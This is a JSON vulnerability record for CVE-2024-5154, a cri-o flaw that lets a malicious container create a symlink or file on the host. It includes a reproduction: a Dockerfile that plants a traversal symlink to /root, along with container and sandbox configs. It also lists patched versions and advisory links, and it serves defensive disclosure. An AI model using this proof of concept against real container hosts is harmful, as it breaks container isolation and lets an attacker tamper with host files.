{"id":"CVE-2024-5154","aliases":["GHSA-j9hf-98c3-wrm8","GO-2024-2919"],"url":"https://o3.security/vulnerability/CVE-2024-5154","summary":"Cri-o: malicious container can create symlink on host","details":"### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n  \"metadata\": {\n      \"name\": \"busybox\"\n  },\n  \"image\":{\n      \"image\": \"localhost/test\"\n  },\n  \"command\": [\n      \"/bin/true\"\n  ],\n  \"linux\": {\n  }\n}\n\n\n```\nand this sandbox config  \n```\n{\n  \"metadata\": {\n    \"name\": \"test-sandbox\",\n    \"namespace\": \"default\",\n    \"attempt\": 1,\n    \"uid\": \"edishd83djaideaduwk28bcsb\"\n  },\n  \"linux\": {\n    \"security_context\": {\n      \"namespace_options\": {\n        \"network\": 2\n      }\n    }\n  }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_","published":"2024-06-12T08:51:43.565Z","modified":"2026-11-05T21:16:09.220905481Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/cri-o/cri-o","fixedVersion":"1.28.7"},{"ecosystem":"Go","name":"github.com/cri-o/cri-o","fixedVersion":"1.29.5"},{"ecosystem":"Go","name":"github.com/cri-o/cri-o","fixedVersion":"1.30.1"}],"fix":null,"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://catalog.redhat.com/software/containers/"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:10818"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:3676"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:3700"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:4008"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:4159"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:4486"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2024-5154"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/5xxx/CVE-2024-5154.json"},{"type":"ADVISORY","url":"https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-5154"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2280190"},{"type":"PACKAGE","url":"https://github.com/cri-o/cri-o"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2024-2919"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-05T21:16:09.220905481Z"}}